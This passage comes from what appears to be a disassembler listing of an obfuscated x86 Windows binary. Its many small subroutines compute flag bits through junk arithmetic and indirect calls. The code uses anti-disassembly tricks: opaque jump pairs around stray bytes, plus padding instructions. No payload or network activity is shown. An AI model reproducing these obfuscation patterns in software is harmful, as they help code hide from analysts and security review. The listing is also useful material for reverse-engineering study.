bh sub bh, 10h sub bh, 5 pop eax dec bh and ah, bh mov edx, 16h dec dl sub dl, 3 dec dl sub dl, 8 dec dl dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498C2F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498C2F: ; CODE XREF: sub_498B94+90j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498B94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498C43 proc near ; DATA XREF: sub_4965D8+569o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_498CB3 jl short loc_498CB1 loc_498CAE: ; CODE XREF: sub_498C43:loc_498CB1j ; sub_498C43:loc_498CB3j jmp short loc_498CB5 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_498CB1: ; CODE XREF: sub_498C43+69j jz short loc_498CAE loc_498CB3: ; CODE XREF: sub_498C43+67j jmp short loc_498CAE ; --------------------------------------------------------------------------- loc_498CB5: ; CODE XREF: sub_498C43:loc_498CAEj dec cl dec cl dec cl dec cl sub cl, 10h dec esi inc edi sub cl, 1 dec cl dec cl dec cl dec edi dec cl dec cl dec esi dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl pop ecx pop ebx test eax, eax jnz loc_498D9D mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_498D00 ; --------------------------------------------------------------------------- mov ebx, 80h loc_498D00: ; CODE XREF: sub_498C43+B6j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_498D43 jl short loc_498D41 loc_498D3C: ; CODE XREF: sub_498C43:loc_498D41j ; sub_498C43:loc_498D43j jmp short loc_498D45 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_498D41: ; CODE XREF: sub_498C43+F7j jz short loc_498D3C loc_498D43: ; CODE XREF: sub_498C43+F5j jmp short loc_498D3C ; --------------------------------------------------------------------------- loc_498D45: ; CODE XREF: sub_498C43:loc_498D3Cj sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jo short loc_498D87 jl short loc_498D85 loc_498D80: ; CODE XREF: sub_498C43:loc_498D85j ; sub_498C43:loc_498D87j jmp short loc_498D89 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_498D85: ; CODE XREF: sub_498C43+13Bj jz short loc_498D80 loc_498D87: ; CODE XREF: sub_498C43+139j jmp short loc_498D80 ; --------------------------------------------------------------------------- loc_498D89: ; CODE XREF: sub_498C43:loc_498D80j jnz short loc_498D9D jo short loc_498D96 jl short loc_498D94 loc_498D8F: ; CODE XREF: sub_498C43:loc_498D94j ; sub_498C43:loc_498D96j jmp short loc_498D98 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_498D94: ; CODE XREF: sub_498C43+14Aj jz short loc_498D8F loc_498D96: ; CODE XREF: sub_498C43+148j jmp short loc_498D8F ; --------------------------------------------------------------------------- loc_498D98: ; CODE XREF: sub_498C43:loc_498D8Fj and eax, 0 jmp short loc_498DA1 ; --------------------------------------------------------------------------- loc_498D9D: ; CODE XREF: sub_498C43+A7j ; sub_498C43:loc_498D89j and eax, 0 inc eax loc_498DA1: ; CODE XREF: sub_498C43+158j mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498DC4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498DC4: ; CODE XREF: sub_498C43+176j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498C43 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498DD8 proc near ; DATA XREF: sub_4965D8+993o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498EA4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498EA4: ; CODE XREF: sub_498DD8+C1j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498EB8 proc near ; DATA XREF: sub_4965D8+9A9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_498EDD jl short loc_498EDB loc_498ED8: ; CODE XREF: sub_498EB8:loc_498EDBj ; sub_498EB8:loc_498EDDj jmp short loc_498EDF ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_498EDB: ; CODE XREF: sub_498EB8+1Ej jz short loc_498ED8 loc_498EDD: ; CODE XREF: sub_498EB8+1Cj jmp short loc_498ED8 ; --------------------------------------------------------------------------- loc_498EDF: ; CODE XREF: sub_498EB8:loc_498ED8j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_498F0E jl short loc_498F0C loc_498F09: ; CODE XREF: sub_498EB8:loc_498F0Cj ; sub_498EB8:loc_498F0Ej jmp short loc_498F10 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_498F0C: ; CODE XREF: sub_498EB8+4Fj jz short loc_498F09 loc_498F0E: ; CODE XREF: sub_498EB8+4Dj jmp short loc_498F09 ; --------------------------------------------------------------------------- loc_498F10: ; CODE XREF: sub_498EB8:loc_498F09j mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_498F64 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_498F64: ; CODE XREF: sub_498EB8+A1j mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498EB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_498F78 proc near ; DATA XREF: sub_4965D8+2C1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 6 not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx add ecx, 4 inc ecx inc ecx inc ecx inc ecx add ecx, 3 inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49900E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49900E: ; CODE XREF: sub_498F78+8Bj mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_498F78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499022 proc near ; DATA XREF: sub_4965D8+FDCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 41h not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx add ecx, 0Dh inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Fh inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_4990B3 jl short loc_4990B1 loc_4990AE: ; CODE XREF: sub_499022:loc_4990B1j ; sub_499022:loc_4990B3j jmp short loc_4990B5 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4990B1: ; CODE XREF: sub_499022+8Aj jz short loc_4990AE loc_4990B3: ; CODE XREF: sub_499022+88j jmp short loc_4990AE ; --------------------------------------------------------------------------- loc_4990B5: ; CODE XREF: sub_499022:loc_4990AEj cmp eax, edx jo short loc_4990C0 jl short loc_4990BE loc_4990BB: ; CODE XREF: sub_499022:loc_4990BEj ; sub_499022:loc_4990C0j jmp short loc_4990C2 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4990BE: ; CODE XREF: sub_499022+97j jz short loc_4990BB loc_4990C0: ; CODE XREF: sub_499022+95j jmp short loc_4990BB ; --------------------------------------------------------------------------- loc_4990C2: ; CODE XREF: sub_499022:loc_4990BBj jz short loc_4990D5 and eax, 0 jo short loc_4990D0 jl short loc_4990CE loc_4990CB: ; CODE XREF: sub_499022:loc_4990CEj ; sub_499022:loc_4990D0j jmp short loc_4990D2 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4990CE: ; CODE XREF: sub_499022+A7j jz short loc_4990CB loc_4990D0: ; CODE XREF: sub_499022+A5j jmp short loc_4990CB ; --------------------------------------------------------------------------- loc_4990D2: ; CODE XREF: sub_499022:loc_4990CBj inc eax jmp short loc_4990D8 ; --------------------------------------------------------------------------- loc_4990D5: ; CODE XREF: sub_499022:loc_4990C2j and eax, 0 loc_4990D8: ; CODE XREF: sub_499022+B1j mov [ebp+var_C], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3E8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4990FB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4990FB: ; CODE XREF: sub_499022+CEj mov eax, [ebp+var_8] push eax call off_4F1D3C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499022 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49910F proc near ; DATA XREF: sub_4965D8+159Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_499145 jl short loc_499143 loc_49913E: ; CODE XREF: sub_49910F:loc_499143j ; sub_49910F:loc_499145j jmp short loc_499147 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_499143: ; CODE XREF: sub_49910F+2Dj jz short loc_49913E loc_499145: ; CODE XREF: sub_49910F+2Bj jmp short loc_49913E ; --------------------------------------------------------------------------- loc_499147: ; CODE XREF: sub_49910F:loc_49913Ej sub bh, 2 sub bh, 3 push eax dec bh dec bh jo short loc_49915B jl short loc_499159 loc_499156: ; CODE XREF: sub_49910F:loc_499159j ; sub_49910F:loc_49915Bj jmp short loc_49915D ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_499159: ; CODE XREF: sub_49910F+45j jz short loc_499156 loc_49915B: ; CODE XREF: sub_49910F+43j jmp short loc_499156 ; --------------------------------------------------------------------------- loc_49915D: ; CODE XREF: sub_49910F:loc_499156j and eax, 800h dec bh sub bh, 14h sub bh, 2 pop eax dec bh inc bh and ah, bh mov edx, 13h dec dl dec dl sub dl, 1 dec dl sub dl, 9 dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4991B3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4991B3: ; CODE XREF: sub_49910F+99j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49910F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4991C7 proc near ; DATA XREF: sub_4965D8+D4Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx xor ecx, 19h inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 12h add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0E00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3D8 xor ecx, dword_4ED3DC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499272 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499272: ; CODE XREF: sub_4991C7+A0j mov eax, [ebp+var_8] push eax call off_4F1D30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4991C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499286 proc near ; DATA XREF: sub_4965D8+A1o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 0FFFFh and eax, 800h push ecx mov ch, 41h sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch mov ebx, [ebp+arg_4] dec esi dec edi dec edi xor edx, edx or ebx, edx jz short loc_4992C6 dec edi and eax, 0 jmp short loc_4992CE ; --------------------------------------------------------------------------- loc_4992C6: ; CODE XREF: sub_499286+38j dec edi dec ecx and eax, 0 dec ecx dec edx inc eax loc_4992CE: ; CODE XREF: sub_499286+3Ej mov [ebp+var_8], eax mov eax, dword_4ED408 xor eax, dword_4ED40C shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4992F0 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4992F0: ; CODE XREF: sub_499286+5Fj mov edx, [ebp+var_4] push edx call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499286 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499304 proc near ; DATA XREF: sub_4965D8+FAFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_499357 not eax add eax, 1 stc jmp short loc_49935D ; --------------------------------------------------------------------------- loc_499357: ; CODE XREF: sub_499304+49j not eax add eax, 1 clc loc_49935D: ; CODE XREF: sub_499304+51j sbb eax, eax add eax, 1 mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499385 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499385: ; CODE XREF: sub_499304+76j mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499304 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499399 proc near ; DATA XREF: sub_4965D8+333o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 5 dec bh dec bh dec bh dec bh dec bh bswap ecx pop eax bswap ecx and ah, bh mov bl, 41h sub bl, 5 dec bl dec bl dec bl and eax, 0 dec bl dec bl dec bl dec bl dec bl dec bl inc eax dec bl dec bl not bx pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499418 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499418: ; CODE XREF: sub_499399+74j mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499399 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49942C proc near ; DATA XREF: sub_4965D8+107Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl jmp short loc_49948B ; --------------------------------------------------------------------------- and eax, 1 loc_49948B: ; CODE XREF: sub_49942C+5Aj sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 3 dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4994EE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4994EE: ; CODE XREF: sub_49942C+B7j mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49942C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499502 proc near ; DATA XREF: sub_4965D8+F81o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_49952B ; --------------------------------------------------------------------------- mov ebx, 80h loc_49952B: ; CODE XREF: sub_499502+22j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499575 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499575: ; CODE XREF: sub_499502+68j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499502 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499589 proc near ; DATA XREF: sub_4965D8+12B1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Eh pop ebx sub bl, 6 dec bl push eax dec bl dec bl and eax, 80h dec bl sub bl, 2 dec bl pop eax dec bl and al, bl mov edx, 2400h dec dh sub dh, 3 dec dh sub dh, 16h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49960A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49960A: ; CODE XREF: sub_499589+76j mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499589 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49961E proc near ; DATA XREF: sub_4965D8+83Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_499647 ; --------------------------------------------------------------------------- mov ebx, 80h loc_499647: ; CODE XREF: sub_49961E+22j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_49969A jl short loc_499698 loc_499695: ; CODE XREF: sub_49961E:loc_499698j ; sub_49961E:loc_49969Aj jmp short loc_49969C ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_499698: ; CODE XREF: sub_49961E+75j jz short loc_499695 loc_49969A: ; CODE XREF: sub_49961E+73j jmp short loc_499695 ; --------------------------------------------------------------------------- loc_49969C: ; CODE XREF: sub_49961E:loc_499695j cmp eax, edx jo short loc_4996A7 jl short loc_4996A5 loc_4996A2: ; CODE XREF: sub_49961E:loc_4996A5j ; sub_49961E:loc_4996A7j jmp short loc_4996A9 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4996A5: ; CODE XREF: sub_49961E+82j jz short loc_4996A2 loc_4996A7: ; CODE XREF: sub_49961E+80j jmp short loc_4996A2 ; --------------------------------------------------------------------------- loc_4996A9: ; CODE XREF: sub_49961E:loc_4996A2j jnz short loc_4996BB jo short loc_4996B4 jl short loc_4996B2 loc_4996AF: ; CODE XREF: sub_49961E:loc_4996B2j ; sub_49961E:loc_4996B4j jmp short loc_4996B6 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4996B2: ; CODE XREF: sub_49961E+8Fj jz short loc_4996AF loc_4996B4: ; CODE XREF: sub_49961E+8Dj jmp short loc_4996AF ; --------------------------------------------------------------------------- loc_4996B6: ; CODE XREF: sub_49961E:loc_4996AFj and eax, 0 jmp short loc_4996CA ; --------------------------------------------------------------------------- loc_4996BB: ; CODE XREF: sub_49961E:loc_4996A9j and eax, 0 jo short loc_4996C7 jl short loc_4996C5 loc_4996C2: ; CODE XREF: sub_49961E:loc_4996C5j ; sub_49961E:loc_4996C7j jmp short loc_4996C9 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4996C5: ; CODE XREF: sub_49961E+A2j jz short loc_4996C2 loc_4996C7: ; CODE XREF: sub_49961E+A0j jmp short loc_4996C2 ; --------------------------------------------------------------------------- loc_4996C9: ; CODE XREF: sub_49961E:loc_4996C2j inc eax loc_4996CA: ; CODE XREF: sub_49961E+9Bj mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4996ED mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4996ED: ; CODE XREF: sub_49961E+C4j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49961E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499701 proc near ; DATA XREF: sub_4965D8+DE9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 52h not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx sub ecx, 6 inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Ch inc ecx inc cl inc cl add ecx, 0Fh inc cl inc cl add cl, 2 add ecx, 0Ah dec ecx push edx mov edx, 4 sub ecx, edx dec ecx pop edx bswap eax sub ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499799 mov edx, 